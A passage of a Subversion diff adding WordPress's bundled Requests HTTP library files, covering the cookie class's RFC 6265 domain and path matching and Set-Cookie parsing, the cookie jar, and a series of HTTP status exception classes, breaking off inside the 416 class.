+			// The domain string should be a suffix of the string.
+			return false;
+		}
+
+		$prefix = substr($string, 0, strlen($string) - strlen($domain_string));
+		if (substr($prefix, -1) !== '.') {
+			// The last character of the string that is not included in the
+			// domain string should be a %x2E (".") character.
+			return false;
+		}
+
+		// The string should be a host name (i.e., not an IP address).
+		return !preg_match('#^(.+\.)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $string);
+	}
+
+	/**
+	 * Check if a cookie is valid for a given path
+	 *
+	 * From the path-match check in RFC 6265 section 5.1.4
+	 *
+	 * @param string $request_path Path to check
+	 * @return boolean Whether the cookie is valid for the given path
+	 */
+	public function path_matches($request_path) {
+		if (empty($request_path)) {
+			// Normalize empty path to root
+			$request_path = '/';
+		}
+
+		if (!isset($this->attributes['path'])) {
+			// Cookies created manually; cookies created by Requests will set
+			// the path to the requested path
+			return true;
+		}
+
+		$cookie_path = $this->attributes['path'];
+
+		if ($cookie_path === $request_path) {
+			// The cookie-path and the request-path are identical.
+			return true;
+		}
+
+		if (strlen($request_path) > strlen($cookie_path) && substr($request_path, 0, strlen($cookie_path)) === $cookie_path) {
+			if (substr($cookie_path, -1) === '/') {
+				// The cookie-path is a prefix of the request-path, and the last
+				// character of the cookie-path is %x2F ("/").
+				return true;
+			}
+
+			if (substr($request_path, strlen($cookie_path), 1) === '/') {
+				// The cookie-path is a prefix of the request-path, and the
+				// first character of the request-path that is not included in
+				// the cookie-path is a %x2F ("/") character.
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Normalize cookie and attributes
+	 *
+	 * @return boolean Whether the cookie was successfully normalized
+	 */
+	public function normalize() {
+		foreach ($this->attributes as $key => $value) {
+			$orig_value = $value;
+			$value = $this->normalize_attribute($key, $value);
+			if ($value === null) {
+				unset($this->attributes[$key]);
+				continue;
+			}
+
+			if ($value !== $orig_value) {
+				$this->attributes[$key] = $value;
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	 * Parse an individual cookie attribute
+	 *
+	 * Handles parsing individual attributes from the cookie values.
+	 *
+	 * @param string $name Attribute name
+	 * @param string|boolean $value Attribute value (string value, or true if empty/flag)
+	 * @return mixed Value if available, or null if the attribute value is invalid (and should be skipped)
+	 */
+	protected function normalize_attribute($name, $value) {
+		switch (strtolower($name)) {
+			case 'expires':
+				// Expiration parsing, as per RFC 6265 section 5.2.1
+				if (is_int($value)) {
+					return $value;
+				}
+
+				$expiry_time = strtotime($value);
+				if ($expiry_time === false) {
+					return null;
+				}
+
+				return $expiry_time;
+
+			case 'max-age':
+				// Expiration parsing, as per RFC 6265 section 5.2.2
+				if (is_int($value)) {
+					return $value;
+				}
+
+				// Check that we have a valid age
+				if (!preg_match('/^-?\d+$/', $value)) {
+					return null;
+				}
+
+				$delta_seconds = (int) $value;
+				if ($delta_seconds <= 0) {
+					$expiry_time = 0;
+				}
+				else {
+					$expiry_time = $this->reference_time + $delta_seconds;
+				}
+
+				return $expiry_time;
+
+			case 'domain':
+				// Domain normalization, as per RFC 6265 section 5.2.3
+				if ($value[0] === '.') {
+					$value = substr($value, 1);
+				}
+
+				return $value;
+
+			default:
+				return $value;
+		}
+	}
+
+	/**
+	 * Format a cookie for a Cookie header
+	 *
+	 * This is used when sending cookies to a server.
+	 *
+	 * @return string Cookie formatted for Cookie header
+	 */
+	public function format_for_header() {
+		return sprintf('%s=%s', $this->name, $this->value);
+	}
+
+	/**
+	 * Format a cookie for a Cookie header
+	 *
+	 * @codeCoverageIgnore
+	 * @deprecated Use {@see Requests_Cookie::format_for_header}
+	 * @return string
+	 */
+	public function formatForHeader() {
+		return $this->format_for_header();
+	}
+
+	/**
+	 * Format a cookie for a Set-Cookie header
+	 *
+	 * This is used when sending cookies to clients. This isn't really
+	 * applicable to client-side usage, but might be handy for debugging.
+	 *
+	 * @return string Cookie formatted for Set-Cookie header
+	 */
+	public function format_for_set_cookie() {
+		$header_value = $this->format_for_header();
+		if (!empty($this->attributes)) {
+			$parts = array();
+			foreach ($this->attributes as $key => $value) {
+				// Ignore non-associative attributes
+				if (is_numeric($key)) {
+					$parts[] = $value;
+				}
+				else {
+					$parts[] = sprintf('%s=%s', $key, $value);
+				}
+			}
+
+			$header_value .= '; ' . implode('; ', $parts);
+		}
+		return $header_value;
+	}
+
+	/**
+	 * Format a cookie for a Set-Cookie header
+	 *
+	 * @codeCoverageIgnore
+	 * @deprecated Use {@see Requests_Cookie::format_for_set_cookie}
+	 * @return string
+	 */
+	public function formatForSetCookie() {
+		return $this->format_for_set_cookie();
+	}
+
+	/**
+	 * Get the cookie value
+	 *
+	 * Attributes and other data can be accessed via methods.
+	 */
+	public function __toString() {
+		return $this->value;
+	}
+
+	/**
+	 * Parse a cookie string into a cookie object
+	 *
+	 * Based on Mozilla's parsing code in Firefox and related projects, which
+	 * is an intentional deviation from RFC 2109 and RFC 2616. RFC 6265
+	 * specifies some of this handling, but not in a thorough manner.
+	 *
+	 * @param string Cookie header value (from a Set-Cookie header)
+	 * @return Requests_Cookie Parsed cookie object
+	 */
+	public static function parse($string, $name = '', $reference_time = null) {
+		$parts = explode(';', $string);
+		$kvparts = array_shift($parts);
+
+		if (!empty($name)) {
+			$value = $string;
+		}
+		elseif (strpos($kvparts, '=') === false) {
+			// Some sites might only have a value without the equals separator.
+			// Deviate from RFC 6265 and pretend it was actually a blank name
+			// (`=foo`)
+			//
+			// https://bugzilla.mozilla.org/show_bug.cgi?id=169091
+			$name = '';
+			$value = $kvparts;
+		}
+		else {
+			list($name, $value) = explode('=', $kvparts, 2);
+		}
+		$name = trim($name);
+		$value = trim($value);
+
+		// Attribute key are handled case-insensitively
+		$attributes = new Requests_Utility_CaseInsensitiveDictionary();
+
+		if (!empty($parts)) {
+			foreach ($parts as $part) {
+				if (strpos($part, '=') === false) {
+					$part_key = $part;
+					$part_value = true;
+				}
+				else {
+					list($part_key, $part_value) = explode('=', $part, 2);
+					$part_value = trim($part_value);
+				}
+
+				$part_key = trim($part_key);
+				$attributes[$part_key] = $part_value;
+			}
+		}
+
+		return new Requests_Cookie($name, $value, $attributes, array(), $reference_time);
+	}
+
+	/**
+	 * Parse all Set-Cookie headers from request headers
+	 *
+	 * @param Requests_Response_Headers $headers Headers to parse from
+	 * @param Requests_IRI|null $origin URI for comparing cookie origins
+	 * @param int|null $time Reference time for expiration calculation
+	 * @return array
+	 */
+	public static function parse_from_headers(Requests_Response_Headers $headers, Requests_IRI $origin = null, $time = null) {
+		$cookie_headers = $headers->getValues('Set-Cookie');
+		if (empty($cookie_headers)) {
+			return array();
+		}
+
+		$cookies = array();
+		foreach ($cookie_headers as $header) {
+			$parsed = self::parse($header, '', $time);
+
+			// Default domain/path attributes
+			if (empty($parsed->attributes['domain']) && !empty($origin)) {
+				$parsed->attributes['domain'] = $origin->host;
+				$parsed->flags['host-only'] = true;
+			}
+			else {
+				$parsed->flags['host-only'] = false;
+			}
+
+			$path_is_valid = (!empty($parsed->attributes['path']) && $parsed->attributes['path'][0] === '/');
+			if (!$path_is_valid && !empty($origin)) {
+				$path = $origin->path;
+
+				// Default path normalization as per RFC 6265 section 5.1.4
+				if (substr($path, 0, 1) !== '/') {
+					// If the uri-path is empty or if the first character of
+					// the uri-path is not a %x2F ("/") character, output
+					// %x2F ("/") and skip the remaining steps.
+					$path = '/';
+				}
+				elseif (substr_count($path, '/') === 1) {
+					// If the uri-path contains no more than one %x2F ("/")
+					// character, output %x2F ("/") and skip the remaining
+					// step.
+					$path = '/';
+				}
+				else {
+					// Output the characters of the uri-path from the first
+					// character up to, but not including, the right-most
+					// %x2F ("/").
+					$path = substr($path, 0, strrpos($path, '/'));
+				}
+				$parsed->attributes['path'] = $path;
+			}
+
+			// Reject invalid cookie domains
+			if (!empty($origin) && !$parsed->domain_matches($origin->host)) {
+				continue;
+			}
+
+			$cookies[$parsed->name] = $parsed;
+		}
+
+		return $cookies;
+	}
+
+	/**
+	 * Parse all Set-Cookie headers from request headers
+	 *
+	 * @codeCoverageIgnore
+	 * @deprecated Use {@see Requests_Cookie::parse_from_headers}
+	 * @return string
+	 */
+	public static function parseFromHeaders(Requests_Response_Headers $headers) {
+		return self::parse_from_headers($headers);
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Cookie/Jar.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Cookie/Jar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Cookie/Jar.php	(revision 56912)
@@ -0,0 +1,175 @@
+<?php
+/**
+ * Cookie holder object
+ *
+ * @package Requests
+ * @subpackage Cookies
+ */
+
+/**
+ * Cookie holder object
+ *
+ * @package Requests
+ * @subpackage Cookies
+ */
+class Requests_Cookie_Jar implements ArrayAccess, IteratorAggregate {
+	/**
+	 * Actual item data
+	 *
+	 * @var array
+	 */
+	protected $cookies = array();
+
+	/**
+	 * Create a new jar
+	 *
+	 * @param array $cookies Existing cookie values
+	 */
+	public function __construct($cookies = array()) {
+		$this->cookies = $cookies;
+	}
+
+	/**
+	 * Normalise cookie data into a Requests_Cookie
+	 *
+	 * @param string|Requests_Cookie $cookie
+	 * @return Requests_Cookie
+	 */
+	public function normalize_cookie($cookie, $key = null) {
+		if ($cookie instanceof Requests_Cookie) {
+			return $cookie;
+		}
+
+		return Requests_Cookie::parse($cookie, $key);
+	}
+
+	/**
+	 * Normalise cookie data into a Requests_Cookie
+	 *
+	 * @codeCoverageIgnore
+	 * @deprecated Use {@see Requests_Cookie_Jar::normalize_cookie}
+	 * @return Requests_Cookie
+	 */
+	public function normalizeCookie($cookie, $key = null) {
+		return $this->normalize_cookie($cookie, $key);
+	}
+
+	/**
+	 * Check if the given item exists
+	 *
+	 * @param string $key Item key
+	 * @return boolean Does the item exist?
+	 */
+	public function offsetExists($key) {
+		return isset($this->cookies[$key]);
+	}
+
+	/**
+	 * Get the value for the item
+	 *
+	 * @param string $key Item key
+	 * @return string Item value
+	 */
+	public function offsetGet($key) {
+		if (!isset($this->cookies[$key])) {
+			return null;
+		}
+
+		return $this->cookies[$key];
+	}
+
+	/**
+	 * Set the given item
+	 *
+	 * @throws Requests_Exception On attempting to use dictionary as list (`invalidset`)
+	 *
+	 * @param string $key Item name
+	 * @param string $value Item value
+	 */
+	public function offsetSet($key, $value) {
+		if ($key === null) {
+			throw new Requests_Exception('Object is a dictionary, not a list', 'invalidset');
+		}
+
+		$this->cookies[$key] = $value;
+	}
+
+	/**
+	 * Unset the given header
+	 *
+	 * @param string $key
+	 */
+	public function offsetUnset($key) {
+		unset($this->cookies[$key]);
+	}
+
+	/**
+	 * Get an iterator for the data
+	 *
+	 * @return ArrayIterator
+	 */
+	public function getIterator() {
+		return new ArrayIterator($this->cookies);
+	}
+
+	/**
+	 * Register the cookie handler with the request's hooking system
+	 *
+	 * @param Requests_Hooker $hooks Hooking system
+	 */
+	public function register(Requests_Hooker $hooks) {
+		$hooks->register('requests.before_request', array($this, 'before_request'));
+		$hooks->register('requests.before_redirect_check', array($this, 'before_redirect_check'));
+	}
+
+	/**
+	 * Add Cookie header to a request if we have any
+	 *
+	 * As per RFC 6265, cookies are separated by '; '
+	 *
+	 * @param string $url
+	 * @param array $headers
+	 * @param array $data
+	 * @param string $type
+	 * @param array $options
+	 */
+	public function before_request($url, &$headers, &$data, &$type, &$options) {
+		if (!$url instanceof Requests_IRI) {
+			$url = new Requests_IRI($url);
+		}
+
+		if (!empty($this->cookies)) {
+			$cookies = array();
+			foreach ($this->cookies as $key => $cookie) {
+				$cookie = $this->normalize_cookie($cookie, $key);
+
+				// Skip expired cookies
+				if ($cookie->is_expired()) {
+					continue;
+				}
+
+				if ($cookie->domain_matches($url->host)) {
+					$cookies[] = $cookie->format_for_header();
+				}
+			}
+
+			$headers['Cookie'] = implode('; ', $cookies);
+		}
+	}
+
+	/**
+	 * Parse all cookies from a response and attach them to the response
+	 *
+	 * @var Requests_Response $response
+	 */
+	public function before_redirect_check(Requests_Response &$return) {
+		$url = $return->url;
+		if (!$url instanceof Requests_IRI) {
+			$url = new Requests_IRI($url);
+		}
+
+		$cookies = Requests_Cookie::parse_from_headers($return->headers, $url);
+		$this->cookies = array_merge($this->cookies, $cookies);
+		$return->cookies = $this;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * Exception for HTTP requests
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for HTTP requests
+ *
+ * @package Requests
+ */
+class Requests_Exception extends Exception {
+	/**
+	 * Type of exception
+	 *
+	 * @var string
+	 */
+	protected $type;
+
+	/**
+	 * Data associated with the exception
+	 *
+	 * @var mixed
+	 */
+	protected $data;
+
+	/**
+	 * Create a new exception
+	 *
+	 * @param string $message Exception message
+	 * @param string $type Exception type
+	 * @param mixed $data Associated data
+	 * @param integer $code Exception numerical code, if applicable
+	 */
+	public function __construct($message, $type, $data = null, $code = 0) {
+		parent::__construct($message, $code);
+
+		$this->type = $type;
+		$this->data = $data;
+	}
+
+	/**
+	 * Like {@see getCode()}, but a string code.
+	 *
+	 * @codeCoverageIgnore
+	 * @return string
+	 */
+	public function getType() {
+		return $this->type;
+	}
+
+	/**
+	 * Gives any relevant data
+	 *
+	 * @codeCoverageIgnore
+	 * @return mixed
+	 */
+	public function getData() {
+		return $this->data;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP.php	(revision 56912)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * Exception based on HTTP response
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception based on HTTP response
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP extends Requests_Exception {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 0;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Unknown';
+
+	/**
+	 * Create a new exception
+	 *
+	 * There is no mechanism to pass in the status code, as this is set by the
+	 * subclass used. Reason phrases can vary, however.
+	 *
+	 * @param string|null $reason Reason phrase
+	 * @param mixed $data Associated data
+	 */
+	public function __construct($reason = null, $data = null) {
+		if ($reason !== null) {
+			$this->reason = $reason;
+		}
+
+		$message = sprintf('%d %s', $this->code, $this->reason);
+		parent::__construct($message, 'httpresponse', $data, $this->code);
+	}
+
+	/**
+	 * Get the status message
+	 */
+	public function getReason() {
+		return $this->reason;
+	}
+
+	/**
+	 * Get the correct exception class for a given error code
+	 *
+	 * @param int|bool $code HTTP status code, or false if unavailable
+	 * @return string Exception class name to use
+	 */
+	public static function get_class($code) {
+		if (!$code) {
+			return 'Requests_Exception_HTTP_Unknown';
+		}
+
+		$class = sprintf('Requests_Exception_HTTP_%d', $code);
+		if (class_exists($class)) {
+			return $class;
+		}
+
+		return 'Requests_Exception_HTTP_Unknown';
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/304.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/304.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/304.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 304 Not Modified responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 304 Not Modified responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_304 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 304;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Not Modified';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/305.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/305.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/305.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 305 Use Proxy responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 305 Use Proxy responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_305 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 305;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Use Proxy';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/306.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/306.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/306.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 306 Switch Proxy responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 306 Switch Proxy responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_306 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 306;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Switch Proxy';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/400.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/400.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/400.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 400 Bad Request responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 400 Bad Request responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_400 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 400;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Bad Request';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/401.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/401.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/401.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 401 Unauthorized responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 401 Unauthorized responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_401 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 401;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Unauthorized';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/402.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/402.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/402.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 402 Payment Required responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 402 Payment Required responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_402 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 402;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Payment Required';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/403.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/403.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/403.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 403 Forbidden responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 403 Forbidden responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_403 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 403;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Forbidden';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/404.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/404.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/404.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 404 Not Found responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 404 Not Found responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_404 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 404;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Not Found';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/405.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/405.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/405.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 405 Method Not Allowed responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 405 Method Not Allowed responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_405 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 405;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Method Not Allowed';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/406.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/406.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/406.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 406 Not Acceptable responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 406 Not Acceptable responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_406 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 406;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Not Acceptable';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/407.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/407.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/407.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 407 Proxy Authentication Required responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 407 Proxy Authentication Required responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_407 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 407;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Proxy Authentication Required';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/408.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/408.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/408.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 408 Request Timeout responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 408 Request Timeout responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_408 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 408;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Request Timeout';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/409.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/409.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/409.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 409 Conflict responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 409 Conflict responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_409 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 409;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Conflict';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/410.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/410.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/410.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 410 Gone responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 410 Gone responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_410 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 410;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Gone';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/411.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/411.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/411.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 411 Length Required responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 411 Length Required responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_411 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 411;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Length Required';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/412.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/412.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/412.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 412 Precondition Failed responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 412 Precondition Failed responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_412 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 412;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Precondition Failed';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/413.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/413.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/413.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 413 Request Entity Too Large responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 413 Request Entity Too Large responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_413 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 413;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Request Entity Too Large';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/414.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/414.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/414.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 414 Request-URI Too Large responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 414 Request-URI Too Large responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_414 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 414;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Request-URI Too Large';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/415.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/415.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/415.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 415 Unsupported Media Type responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 415 Unsupported Media Type responses
+ *
+ * @package Requests
+ */
+class Requests_Exception_HTTP_415 extends Requests_Exception_HTTP {
+	/**
+	 * HTTP status code
+	 *
+	 * @var integer
+	 */
+	protected $code = 415;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	protected $reason = 'Unsupported Media Type';
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/416.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/416.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Exception/HTTP/416.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Exception for 416 Requested Range Not Satisfiable responses
+ *
+ * @package Requests
+ */
+
+/**
+ * Exception for 416 Requested Range Not Satisfiable responses
+ *
